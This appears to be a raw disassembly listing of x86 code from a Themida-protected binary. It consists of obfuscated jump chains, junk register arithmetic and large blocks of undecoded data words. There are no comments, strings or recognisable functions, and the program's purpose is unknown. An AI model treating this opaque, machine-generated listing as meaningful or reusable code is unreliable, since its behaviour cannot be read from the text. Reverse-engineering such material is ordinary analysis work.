add esi, 7A4E5C58h
dec esi
or esi, 242F66EDh
jmp loc_55E6F0
; ---------------------------------------------------------------------------
dw 0D2F7h
dd 0EF81D787h, 8D7DED14h, 895FFA01h, 24148BD7h, 4C481h
dd 0F9290000h, 0E92434FFh, 0FFFFAAB0h, 81240C8Bh, 4C4h
dd 0B4506600h, 66E32819h, 8124048Bh, 2C4h, 51C30000h, 0EB8019B1h
dd 0EB66E9E4h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E5BA: ; CODE XREF: Themida_:00555325j
mov edi, esp
add edi, 4
jmp loc_55FA40
; ---------------------------------------------------------------------------
loc_55E5C7: ; CODE XREF: Themida_:005606F7j
push ebx
mov ebx, esp
push eax
mov eax, 629A4E5Dh
xor eax, 770C634Ch
or eax, 7FF310B7h
shl eax, 3
jmp loc_560525
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 2474FF52h, 48F5A04h, 0EE58E924h, 0F581FFFFh, 0D189B264h
dd 15DE831h, 1C8758C3h, 24248B24h, 0FF62C1E9h, 6CA468FFh
dd 2C890000h, 51E58924h, 4B9h, 0E9CD0100h, 727h, 0E9243C89h
dd 0FFFF9A5Dh, 756C68h, 240C8900h, 7CD2BE56h, 0F189216Dh
dd 0FFDD75E9h, 81EF29FFh, 6677EDC7h, 0F9DBE96Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E64E: ; CODE XREF: Themida_:00554F11j
pop edx
push 24B3h
mov [esp], eax
push edx
jmp loc_555BBD
; ---------------------------------------------------------------------------
db 1, 0C7h, 0E9h
dd 0FFFFEF8Eh
; ---------------------------------------------------------------------------
loc_55E664: ; CODE XREF: Themida_:00558C1Cj
add esp, 4
xor eax, ebp
push dword ptr [esp]
pop ebp
push ebp
mov ebp, esp
add ebp, 4
jmp loc_55CD7A
; ---------------------------------------------------------------------------
dw 0BA52h
dd 4, 9AE9D301h, 8BFFFF7Eh, 0C481240Ch, 4, 0FFC78347h
dd 2FFEE781h, 6850F7h, 29000000h, 525F243Ch, 677271BAh
dd 0F8DFE93Bh, 77FFFFFFh, 2434FF3Ch, 0E924048Bh, 0FFFF67AAh
dd 4240483h, 83242C8Bh, 0B95104C4h, 4, 0FFE21CE9h, 4EC83FFh
dd 0E9243C89h, 0FFFFE0B8h
; ---------------------------------------------------------------------------
loc_55E6E0: ; CODE XREF: Themida_:0055A189j
pop esp
rol byte ptr [esp], cl
pushf
jmp loc_5548CE
; ---------------------------------------------------------------------------
dw 0E9ADh
dd 0FFFFF789h
; ---------------------------------------------------------------------------
loc_55E6F0: ; CODE XREF: Themida_:0055E56Dj
and esi, 35075E09h
xor esi, 314568E8h
add esi, 0FABDC923h
add edx, esi
pop esi
sub edx, 4
xchg edx, [esp]
jmp loc_55B82A
; ---------------------------------------------------------------------------
dd 0E904EC83h, 0FFFFED04h, 5C3C181h, 0DBE9730Dh, 87FFFFA5h
dd 0E95C243Ch, 0FFFFF1B4h, 5004C483h, 405E089h, 83000000h
dd 39E904ECh
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E73F: ; CODE XREF: Themida_:0055E90Aj
mov [esp], esi
push ebx
jmp loc_55B792
; ---------------------------------------------------------------------------
dd 8904EC83h, 68241Ch, 89000072h, 4812424h, 424h, 241C8B00h
dd 8104C483h, 4C3h, 4BF5700h, 0E9000000h, 0FFFFD35Ch, 34EC681h
dd 7709AA7Ah, 42E95E20h, 500000Ah, 5F5F7C7Fh, 0D0F7D0F7h
dd 0F5650A2Dh, 0BD554873h, 3EC8143Ch, 57E9D5F7h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E79F: ; CODE XREF: Themida_:005554F7j
mov edx, 4
add edi, edx
pop edx
jmp loc_5564D3
; ---------------------------------------------------------------------------
loc_55E7AC: ; CODE XREF: Themida_:0055D84Fj
push dword ptr [esp]
mov eax, [esp]
push 3B34h
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push esi
mov esi, esp
jmp loc_55B670
; ---------------------------------------------------------------------------
dd 0C181E189h, 4, 915AE955h, 0EAB6FFFFh, 281BEE80h, 0CC805AF4h
dd 8EEC807Bh, 0FFA81EE9h, 0E8E981FFh, 0C11ED858h, 0F18103E9h
dd 606D0DDEh, 8102E9C1h, 0D43622E9h, 59CF0118h, 6B46E956h
dd 0B3E9FFFFh, 5FFFF60h, 4, 405h, 24048700h, 1931E9h, 4B900h
dd 81510000h, 63CA2404h, 0E95E6CEDh, 0FFFFC21Ah, 55E08950h
dd 4BDh, 5DE80100h, 0FFE39AE9h, 6078E9FFh, 0E5C1FFFFh
dd 2CED8103h, 89986809h, 66E95DEBh, 28FFFFF4h, 0BBE8E9CBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E86E: ; CODE XREF: Themida_:00555D71j
mov edx, 1Ch
add edx, edi
push dword ptr [edx]
xor dword ptr [esp], 70CF371Bh
mov ecx, [esp]
jmp loc_55CEF2
; ---------------------------------------------------------------------------
dw 0E95Ah
dd 0FFFFDCDEh, 0FF603DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E891: ; CODE XREF: Themida_:0055645Fj
mov eax, 93FA4507h
sub esi, eax
pop eax
or ecx, esi
pop esi
jmp loc_55564C
; ---------------------------------------------------------------------------
db 5Ch, 0E9h, 23h
dd 89FFFF63h, 42BD242Ch, 817B0525h, 0E4042444h, 1220459h
dd 0E904246Ch, 0FFFFD81Dh, 8106E3C1h, 4B7DCEEBh, 4EC8114h
dd 89000000h, 50562404h, 0FFF627E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E8D9: ; CODE XREF: Themida_:0055AE8Bj
neg eax
add eax, 1D0B3561h
push eax
xor dword ptr [esp], 2F725451h
pop ebp
xor ebp, 2F725451h
pop eax
jmp loc_56012F
; ---------------------------------------------------------------------------
db 33h, 14h, 24h
dd 0FF87FDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E8FD: ; CODE XREF: Themida_:0056049Cj
xor eax, 6DCF3A22h
xor edx, eax
pop eax
loc_55E905: ; CODE XREF: Themida_:00557241j
; Themida_:0055C0F0j
push 2864h
jmp loc_55E73F
; ---------------------------------------------------------------------------
loc_55E90F: ; CODE XREF: Themida_:0055FA65j
sub esp, 4
mov [esp], ebp
mov ebp, esp
jmp loc_558294
; ---------------------------------------------------------------------------
db 51h
dd 6055A0B9h, 6BEAE963h, 0CA81FFFFh, 56E14223h, 73B7BE56h
dd 0F22956F7h, 5AD3015Eh, 4C381h, 0FF530000h, 8B042474h
dd 0C481241Ch, 4, 8B24048Fh, 0B7E92424h, 33FFFF68h, 895C240Ch
dd 0BD66242Ch, 81665D81h, 66320CEDh, 2C8BE831h, 0B853E924h
dd 1C89FFFFh, 0B53FE924h, 0B966FFFFh, 166035Bh, 658CE9CBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E98A: ; CODE XREF: Themida_:0055800Bj
xor edi, [esp]
xor [esp], edi
jmp loc_556DD2
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 48F5904h, 24248B24h, 9C240428h, 0FF5F25E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E9A9: ; CODE XREF: Themida_:0055CD18j
add esi, ecx
pop ecx
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
add esp, 4
div ecx
push ebp
jmp loc_5589F5
; ---------------------------------------------------------------------------
db 58h, 0E9h, 4Ah
dd 8B000005h, 0C481243Ch, 4, 8904EC83h, 0BE56242Ch, 61A4480Fh
dd 1EE81h, 0E6810000h, 11A31FBh, 0FFFAC681h, 0F589FEFFh
dd 0E9E8015Eh, 0FFFFF73Fh, 8286E951h, 8B66FFFFh, 0E9522404h
dd 0FFFFDE2Fh, 89B25266h, 8006C580h, 0D5002DC5h, 0FFBD2EE9h
dd 0D72CACFFh, 0EC81D828h, 4, 0B3241C89h, 25EB8080h, 0FFC2F3E9h
dd 12B2FFh, 515A66D0h, 0ED80C5B5h, 64F580DAh, 59E828h
dd 64E958C3h, 0B8FFFFA8h, 4, 0FF7D4FE9h, 8FF681FFh, 813C4C02h
dd 0AF6589C6h, 26EE811Ch, 1793B6Ah, 24348BF7h, 4C481h
dd 3C330000h, 243C3124h, 8B243C33h, 0A9E92424h
db 20h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55EA8B: ; CODE XREF: Themida_:00554EF7j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edi
mov edi, ebx
mov eax, edi
mov edi, [esp]
add esp, 4
jmp loc_55AE90
; ---------------------------------------------------------------------------
dw 23E9h
dd 89FFFF5Eh, 27BD242Ch, 29630B4Ch, 68FD5DEFh, 615Ah, 0B8240489h
dd 36631829h, 105DE956h, 815C0000h, 4C3h, 4B85000h, 1000000h
dd 8DD4E9C3h, 14F7FFFFh, 0D3F75B24h, 2BF8EB81h, 0EB8342BDh
dd 2AE952FFh, 8B000016h, 0C4832414h, 24048F04h, 243C895Ch
dd 2662B9BFh, 0F7814F55h, 531A9E72h, 6C227405h, 53F80141h
dd 6C2274BBh, 5BD82941h, 0D1B8505Fh, 51AC43Ah, 9C718CBh
dd 6805E8C1h, 41DCh, 0E9243C89h, 0FFFFA223h, 8B545358h
dd 0C483241Ch, 0F42CE904h, 3489FFFFh, 348B5424h, 4C48324h
dd 84E95350h
db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EB57: ; CODE XREF: Themida_:005575F1j
add esp, 4
or eax, eax
jz loc_55C5BC
push dword ptr [edi+1Ch]
push ecx
jmp loc_55DF0A
; ---------------------------------------------------------------------------
dw 39BEh
dd 463EBF45h, 7937C681h, 0F74E127Ch, 6EEE81D6h, 81AA3923h
dd 2D2443C7h, 95AEE958h, 0E95CFFFFh, 1Fh, 56242C8Bh, 0DE9E689h
db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EB9F: ; CODE XREF: Themida_:0055795Fj
add edi, 6D806AC4h
jmp loc_55D98E
; ---------------------------------------------------------------------------
dw 0C166h
dd 0DEE907E9h, 89FFFFC5h, 0CEB82404h, 4054CA52h, 198E9h
dd 17BD6800h, 0E95F1037h, 0FFFFAD4Ch, 8B595651h, 0C4812434h
dd 4, 8B240C87h, 0C4832434h, 1DFAE904h, 822D0000h, 8B666874h
dd 0C483241Ch, 0F65E904h, 34890000h, 2D0FBE24h, 0E6814510h
dd 763F0927h, 5204EEC1h, 423651BAh, 0F2B6E926h, 483FFFFh
dd 34FF0424h, 0C4835F24h, 4C78104h, 56000000h, 0C4061EBEh
dd 0F0E68160h, 0E96DFB47h, 0FFFFFE29h, 24048B66h, 52E68956h
dd 0D9BEE953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EC42: ; CODE XREF: Themida_:00555EBEj
push ebp
jmp loc_55978E
; ---------------------------------------------------------------------------
loc_55EC48: ; CODE XREF: Themida_:005564BBj
mov ebx, [esp]
push edi
jmp loc_555AA3
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 6825E981h, 0E9C10136h, 0A4C18108h, 296F1089h, 240C8BCBh
dd 4C481h, 9050000h, 0E906321Ch, 0FFFFC7CDh, 0E8C09CB0h
dd 0F5E1E907h, 0CB81FFFFh, 40482E1Dh, 3EBC14Bh, 0C381DBF7h
dd 0FF9E323Fh, 215BDE31h, 24348BF5h, 4C481h, 0E5C10000h
dd 22BA5204h, 119F6BFh, 5F2E9D5h, 0E6680000h, 89000066h
dd 48B2404h, 0E1895124h, 2804BA52h, 0C2833632h, 49EA8101h
dd 4A2F066Fh, 7C8FEA81h, 0E95137C3h, 0B70h, 0E99C5166h
dd 0FFFF5BEAh, 0C8B665Ch, 4EC8324h, 57243489h, 0C781E789h
dd 4, 8704EF83h, 895C243Ch, 0E9552424h, 0FFFFDCEBh, 4C6815Eh
dd 0E9000000h, 0FFFF806Fh, 0E956F580h, 0FFFFDB86h, 0E958C709h
dd 0FFFFEDF3h, 6624248Bh, 8324048Bh, 48904ECh, 1031E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55ED36: ; CODE XREF: Themida_:0055D6D1j
shr esi, 5
push ebp
jmp loc_554BF5
; ---------------------------------------------------------------------------
loc_55ED3F: ; CODE XREF: Themida_:0055D547j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55F841
; ---------------------------------------------------------------------------
db 59h
dd 68575651h, 95C098Ch, 0FF8E32E9h, 75BB53FFh, 8127B526h
dd 0F6202C3h, 6E3C135h, 0FF7976E9h, 4C481FFh, 58000000h
dd 2DB15166h, 8B66CB28h, 0C483240Ch, 10EB8002h, 0FFB1C8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55ED89: ; CODE XREF: Themida_:005550BBj
push eax
jmp loc_55A38B
; ---------------------------------------------------------------------------
db 83h
dd 6AE904ECh, 81FFFF98h, 4C3h, 4C38100h, 87000000h, 815C241Ch
dd 4ECh, 240C8900h, 8E5323B9h, 8BCE29F7h, 0C481240Ch, 4
dd 685EF029h, 45E1h, 68241489h, 6634B36Dh, 5A2434FFh, 3104C483h
dd 2434FFD0h, 9078E95Ah, 4BEFFFFh, 5000000h, 56601DE9h
dd 0CAE9F001h, 87FFFF96h, 285C2404h, 1EBDE9D8h, 5AB80000h
dd 31065F20h, 8B5758C7h, 23E92434h, 0F7FFFFB1h, 0B8CA81D2h
dd 56189B1Ah, 635626BEh, 54B85051h, 2120B51Bh, 0B4E958C6h
dd 56FFFF8Fh, 0FFEEB8E9h, 48E953FFh, 0FFFFFFE4h, 815B2434h
dd 4C4h, 243C8700h, 406C685Ch, 1C890000h, 2AB8BB24h, 0EC812AA5h
dd 4, 0E9241C89h, 0FFFFFC7Eh, 0C884E95Eh, 0E957FFFFh, 0FFFFFD55h
dd 0DD685854h, 89000046h, 12BD242Ch, 8110A165h, 0FC1428EDh
dd 0B2E9457Dh, 81FFFFF3h, 4C7h, 2BA5200h, 1000000h, 24148BD7h
dd 0FF9071E9h, 74FF55FFh, 34FF0424h, 0C4835D24h, 24048F04h
dd 0FF8F3EE9h, 0C3166FFh, 0C336624h, 0C316624h, 5A0CE924h
dd 48BFFFFh, 5FC6E924h, 0E581FFFFh, 79952581h, 8107E5C1h
dd 0CD1C45EDh, 5DEB29F7h, 30E8C381h, 0C3016160h, 5B83E952h
dd 575CFFFFh, 8904EC83h, 4832424h, 0FEE90424h, 81000014h
dd 0C44659EBh, 5BDF895Eh, 29E9FA31h
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EF0B: ; CODE XREF: Themida_:00555444j
pop eax
jmp loc_555C51
; ---------------------------------------------------------------------------
db 0C1h, 0E6h, 6
dd 1A66E9h, 4BF5700h, 1000000h, 0E9565FF8h, 5CDh, 0C17813B9h
dd 0BABAE953h, 0DD2DFFFFh, 0FF427068h, 835F2434h, 0C33104C4h
dd 87BFE951h, 0B951FFFFh, 7E703C8Bh, 8244C29h, 24448159h
dd 0A23F4704h, 6FE95A0Bh, 68FFFF59h, 6421h, 68241489h
dd 591E5CDFh, 74FE685Ah, 0C3E90000h, 81FFFF65h, 0C50FABCFh
dd 0FFF78159h, 1DDFFCFh, 0C6815FFEh, 4, 5C243487h, 3F47BB53h
dd 1BE90BA2h, 0B6FFFF7Fh, 0E9F02073h, 0FFFFBE12h, 0ECC077B4h
dd 68D4F608h, 5B18h, 0B1240C89h, 88B5E9F0h, 0E953FFFFh
dd 0FFFF61CCh, 0E924148Bh, 0FFFFC515h, 2DB3685Fh, 1C890000h
dd 2F11BB24h, 8E6804ABh, 0E9000066h, 0FFFF6C03h
; ---------------------------------------------------------------------------
loc_55EFE0: ; CODE XREF: Themida_:0055916Fj
add ebx, edi
pop edi
mov dword ptr [ebx], 0
push dword ptr [esp]
pop ebx
push ebx
mov ebx, esp
jmp loc_557506
; ---------------------------------------------------------------------------
db 81h, 2Ch, 24h
dd 16903A0Ch, 79BAB850h, 44012964h, 81580424h, 3855242Ch
dd 0A3E90B51h, 8BFFFFD4h, 0C4812414h, 4, 148BD501h, 4C48124h
dd 1000000h, 2434FFEEh, 0E689565Dh, 4C681h, 0C6830000h
dd 24348704h, 0F389535Ch, 515A5352h, 0C181E189h, 4, 4BE56h
dd 0E9810000h, 1DB44796h, 0CC4E981h, 0F1296EEBh, 0CC4C181h
dd 0C1816EEBh, 1DB44796h, 0CBE9515Eh, 0D0000014h, 8CB050EFh
dd 0C730FB34h, 0F4CF8058h, 51B8EF80h, 0FFA269E9h, 240C87FFh
dd 7542685Ch, 3C890000h, 1413E924h, 0C4830000h, 6C816602h
dd 8820224h, 24740166h, 44816602h, 8820224h, 15E95366h
dd 0B9FFFF91h, 770E7FF7h, 88E95749h, 0FFFFFF9Bh, 0E9592434h
dd 0FFFF70B0h, 148B5958h, 0E393E924h, 0EB81FFFFh, 39849B03h
dd 15BDF29h, 3CC781F7h, 5003A504h, 0FF6D8BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F0ED: ; CODE XREF: Themida_:0055D4EBj
pop esp
or eax, eax
jz loc_55838A
push dword ptr [edi+1Ch]
sub esp, 4
mov [esp], eax
mov eax, 18F37755h
add [esp+4], eax
pop eax
mov ecx, [esp]
add esp, 4
push 4AEFh
mov [esp], eax
mov eax, 7F04703Ch
sub eax, 658248FCh
push ebx
mov ebx, 5FC60D53h
shl ebx, 3
and ebx, 50296175h
or ebx, 548963D2h
sub ebx, 4BF248Ah
add ebx, 52743A1Fh
jmp loc_55774C
; ---------------------------------------------------------------------------
dw 2C89h
dd 6C5BE924h, 0E681FFFFh, 61A051D9h, 16A1BF57h, 0FE3140BAh
dd 2F6815Fh, 9346148h, 0E63BE9F0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F16E: ; CODE XREF: Themida_:0055E474j
add edi, ebp
jmp loc_55DDE1
; ---------------------------------------------------------------------------
db 81h, 0C1h, 6Fh
dd 1102A74h, 6FE981C1h, 8B102A74h, 0C4E92404h, 81FFFFF2h
dd 4ECh, 24148900h, 0BD268h, 24248900h, 0FFBBB0E9h, 243C89FFh
dd 341368h, 4CE95400h, 80FFFF6Ch, 0D5F654E5h, 1835E9h
dd 0C2835C00h, 24143302h, 0FF8479E9h, 0B0BA52FFh, 0C1226847h
dd 0E28105E2h, 32E93B37h, 0DAF28142h, 81674053h, 4ECh
dd 0C4F7E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F1E6: ; CODE XREF: Themida_:0055941Fj
push bx
jmp loc_55D0CE
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
dd 4240481h, 0E9000000h, 0FFFFDB45h, 0F781475Fh, 7B0A529Ah
dd 10C6EF81h, 0FA090062h, 8E2C15Fh, 1695E9h, 53D80000h
dd 36E95FB3h, 0BDFFFFC6h, 282225Dh, 0EDC1DDF7h, 0C5814506h
dd 8EFFE1E7h, 0FFBEAAE9h, 202768FFh, 3E90000h, 8BFFFF5Bh
dd 54512414h, 4C18159h, 68000000h, 743Fh, 0B8240489h, 6F244A69h
dd 5FEFBA52h, 0F28130F6h, 0ACB6CDAh, 8104EAC1h, 475367EAh
dd 5AD021F6h, 0E9D1F791h, 0FFFFAE0Ah
; ---------------------------------------------------------------------------
loc_55F278: ; CODE XREF: Themida_:005593C0j
push dword ptr [esp]
jmp loc_55AF2D
; ---------------------------------------------------------------------------
dd 24148966h, 0E99C5066h, 0FFFF5642h, 88240C89h, 876C88FDh
dd 0E95901h, 0FF000000h, 0E95B2434h, 0FFFFE2DBh, 5DE9895Ah
dd 64A9BF57h, 0F781133Eh, 6E882E81h, 96E9DFF7h, 30FFFFB9h
dd 0C0B60FC3h, 24148B66h, 0FFD44BE9h, 2E981FFh, 0E9000000h
dd 0FFFF9668h, 24343358h, 0E9243431h, 0FFFF9BA5h, 66C1C280h
dd 7BE28059h, 8009EA80h, 0D1286CE9h, 8B6CC180h, 0C4832414h
dd 59C82804h, 80EBB551h, 0EC81ECEDh, 2, 24048966h, 0E52832B4h
dd 54575866h, 4C7815Fh, 56000000h, 2BEh, 5BD6E900h, 0F680FFFFh
dd 5AF088F4h, 5866C288h, 148BD000h, 0E7895724h, 0C5BBB53h
dd 0EBC17A5Ah, 7ECB8105h, 4B083A71h, 0FF568FE9h, 241489FFh
dd 8904EC83h, 0BF572424h, 4, 4247C01h, 0ABA5E95Fh, 5B04FFFFh
dd 5B2CE828h, 0E9240C8Bh, 0FFFFA6B9h, 8B24048Fh, 3CD32424h
dd 4BE99C24h
db 55h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F383: ; CODE XREF: Themida_:0055E0EFj
push edi
mov edi, 313120A4h
sub edi, 0FD38B179h
mov edx, edi
pop edi
or edi, edx
pop edx
inc edi
push eax
push ebp
mov ebp, 5DD5123h
mov eax, ebp
pop ebp
sub edi, eax
mov eax, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55AF25
; ---------------------------------------------------------------------------
db 29h, 0CBh, 8Bh
dd 8EE9240Ch, 66FFFFE2h, 52240C8Bh, 0E957E289h, 0FFFF929Eh
dd 6624248Bh, 2404BB0Fh, 54E4E99Ch, 433FFFFh, 24043124h
dd 8B240433h, 0C892424h, 54D0E924h, 0BA66FFFFh, 81667EF8h
dd 0E97DEEEBh, 0FFFF609Dh
; ---------------------------------------------------------------------------
loc_55F40C: ; CODE XREF: Themida_:00557234j
dec esi
xor esi, 11C78ABh
add ebp, esi
jmp loc_557175
; ---------------------------------------------------------------------------
dw 0E95Ah
dd 5B9h, 24048B66h, 8904EC83h, 97E9240Ch, 8100000Ch, 4C1h
dd 4E98300h, 5C240C87h, 89240489h, 2BF57E0h, 0C1756566h
dd 0C78106E7h, 0A6A67F84h, 78E9F801h, 8BFFFFF5h, 0C483242Ch
dd 2DD80104h, 4F8C52C0h, 2404875Bh, 240CD35Ch, 545CE99Ch
dd 0BF57FFFFh, 252A1C48h, 12DFEF81h, 0CF810453h, 269F64F1h
dd 4930BA52h, 0CFE9344Dh, 81FFFF9Dh, 0B70142EAh, 0C2815D0Ch
dd 758004EDh, 0BF5FB850h, 0C2298733h, 0FF5F12E9h, 241C33FFh
dd 33241C31h, 0E95C241Ch, 0FFFF6A28h
; ---------------------------------------------------------------------------
loc_55F4B8: ; CODE XREF: Themida_:0055C7EEj
pop ecx
shr bl, 4
jmp loc_55D60F
; ---------------------------------------------------------------------------
db 58h, 52h, 0E9h
dd 0FFFFDDB1h, 60D2E957h, 0D0B4FFFFh, 0C005E4C0h, 0EC8004ECh
dd 0A3E9E97Eh, 0BE56FFFFh, 3B7177E5h, 10ADEE81h, 0ABE969FDh
db 9Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F4EF: ; CODE XREF: Themida_:0055B98Bj
push edi
jmp loc_557CBA
; ---------------------------------------------------------------------------
db 0BEh, 2, 0
dd 0F0290000h, 74FF505Eh, 8F580424h, 0A3E92404h, 54FFFF84h
dd 8124048Fh, 4ECh, 24348900h, 0E904EC83h, 0FFFFD71Ch
; ---------------------------------------------------------------------------
loc_55F520: ; CODE XREF: Themida_:00560606j
mov ecx, 4
add ebx, ecx
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_560CA3
; ---------------------------------------------------------------------------
dw 0DA68h
dd 0FF6CE751h, 81582434h, 4C4h, 6E0C100h, 3503E0C1h, 2115305Ah
dd 0FF76ADE9h, 0CFF66FFh, 67E99C24h, 56FFFF53h, 0D71074BEh
dd 5EF2296Ch, 8904EC83h, 8BBD242Ch, 0C12BFC37h, 814508E5h
dd 5201B7E5h, 62F58132h, 1060316h, 9BE95DEAh, 80000006h
dd 2EE965C9h, 83FFFFECh, 0C48304C4h, 66D82804h, 52241C8Bh
dd 0C281E289h, 4, 2C281h, 14870000h, 0EC685C24h, 0E9000023h
dd 0FFFFDF9Ah, 0E94077FFh, 0FFFF5302h
; ---------------------------------------------------------------------------
loc_55F5CC: ; CODE XREF: Themida_:00558F74j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
push 31C0h
mov [esp], ebp
jmp loc_55BE35
; ---------------------------------------------------------------------------
dw 34FFh
dd 0A241E924h, 6859FFFFh, 1393h, 0FFB743E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F605: ; CODE XREF: Themida_:0055E461j
add eax, 0B2F2EDAEh
add ebp, 71C44992h
sub ebp, eax
jmp loc_555056
; ---------------------------------------------------------------------------
db 0BBh
dd 36C42145h, 3CB6F381h, 0E38117E2h, 56064C20h, 1EAAC381h
dd 0E3D10495h, 8105EBC1h, 49B2A8F3h, 5BD82900h, 0E9240487h
dd 0FFFFA6F8h
; ---------------------------------------------------------------------------
loc_55F644: ; CODE XREF: Themida_:005586D0j
and ecx, 35D6EF1h
sub ecx, 0A4F2116Dh
xor esi, ecx
pop ecx
jmp loc_557573
; ---------------------------------------------------------------------------
loc_55F658: ; CODE XREF: Themida_:00556EB1j
and ch, bl
push dword ptr [esp]
jmp loc_55DBF1
; ---------------------------------------------------------------------------
dw 83ACh
dd 0C8904ECh, 283BB524h, 0E82EE9E8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F672: ; CODE XREF: Themida_:00557121j
pop esp
jmp loc_55C12C
; ---------------------------------------------------------------------------
dd 81240C89h, 4ECh, 242C8900h, 0B31298BDh, 81D5F769h, 0B666E4C5h
dd 2C8155C4h, 8D0DBC24h, 0C181594Ch, 4C8D0DBCh, 0E3CEE95Dh
dd 0E95FFFFFh, 124h, 5359CB01h, 0EC815B5Ah, 4, 0FFD367E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F6BD: ; CODE XREF: Themida_:00558227j
mov ecx, 0
sub ecx, 2AD50E6h
add ecx, edx
jmp loc_55675B
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF51FAh, 0E7E0C681h, 0F2294AF5h, 0ABFFE95Eh, 0C483FFFFh
dd 792E902h, 8B660000h, 90682404h, 89000059h, 0E189240Ch
dd 30E95453h, 5A00000Dh, 4C281h, 0C2810000h, 4, 5C241487h
dd 685B5453h, 6E4Ah, 0BF243C89h, 5F9F4483h, 0E9FFEF83h
dd 0FFFF65F5h
; ---------------------------------------------------------------------------
loc_55F728: ; CODE XREF: Themida_:00559A59j
pop ebp
jmp loc_55B0ED
; ---------------------------------------------------------------------------
dw 0C33h
dd 51E95C24h, 0E9FFFFD2h, 0FFFF5192h, 0FF518DE9h, 0E08950FFh
dd 405h, 4C08300h, 0E9240487h, 0FFFFFA65h
; ---------------------------------------------------------------------------
loc_55F754: ; CODE XREF: Themida_:0055D5E2j
mov [edi+28h], dl
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5548CE
; ---------------------------------------------------------------------------
db 83h
dd 0D42501C0h, 5220F21Bh, 474909BAh, 7D1CE93Eh, 0E6C1FFFFh
dd 8FBF5703h, 472D473Eh, 5174E781h, 0E7C105C2h, 0ABF78103h
dd 4F2AF931h, 2BB8C781h, 0EE815B09h, 321350DCh, 0FF7961E9h
dd 42EF81FFh, 81617C3Fh, 81FC9AF7h, 0C90DE91Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F7B2: ; CODE XREF: Themida_:005562BCj
add esp, 4
mov edx, 113B1D32h
and edx, 31AB6577h
not edx
shr edx, 8
shr edx, 6
jmp loc_55D16B
; ---------------------------------------------------------------------------
dd 8904EC83h, 8E9242Ch, 89FFFF6Ah, 0E389241Ch, 4C381h
dd 0B3E90000h, 5BFFFFC7h, 662CD800h, 0FF6C7DE9h, 2BEFFh
dd 26E90000h, 89FFFF65h, 0D9E7E9E1h, 0C87FFFFh, 0BFE95C24h
db 50h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F80F: ; CODE XREF: Themida_:0055F920j
mov [esp], edi
mov edi, 525F572Ch
add edx, edi
mov edi, [esp]
add esp, 4
add edx, eax
push ebx
jmp loc_55E1E3
; ---------------------------------------------------------------------------
loc_55F82A: ; CODE XREF: Themida_:00556366j
sub ebx, 705154B3h
jmp loc_55D2D8
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 4C4835Dh, 0FF508DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F841: ; CODE XREF: Themida_:0055ED46j
pop ebp
push 4DF6h
jmp loc_55667E
; ---------------------------------------------------------------------------
dd 0F9D016B9h, 0E9CA299Fh, 0FFFF8BD3h
; ---------------------------------------------------------------------------
loc_55F858: ; CODE XREF: Themida_:005579DEj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_556A88
; ---------------------------------------------------------------------------
loc_55F86F: ; CODE XREF: Themida_:00558711j
or edx, eax
shl edx, 1
jmp loc_557813
; ---------------------------------------------------------------------------
dd 67E9D801h, 5FFFFFF3h, 0FF583BE9h, 51E289FFh, 0A26E9h
dd 80D9F600h, 9DE9E7C1h, 66FFFFA7h, 4876658h, 0C8B6624h
dd 2C48124h, 0E9000000h, 0FFFFF605h
; ---------------------------------------------------------------------------
loc_55F8AC: ; CODE XREF: Themida_:0055B5BFj
add edx, 4
push eax
push 167F7C23h
pop eax
shr eax, 1
jmp loc_557610
; ---------------------------------------------------------------------------
dd 8904EC83h, 0E0892404h, 4BE5657h, 89000000h, 0BB535EF7h
dd 66302EF4h, 7225B951h, 0F1814FD0h, 1A6F294Eh, 32A0E981h
dd 0CB315490h, 81D3F759h, 0D2DC8EF3h, 6389E981h, 1431FFFFh
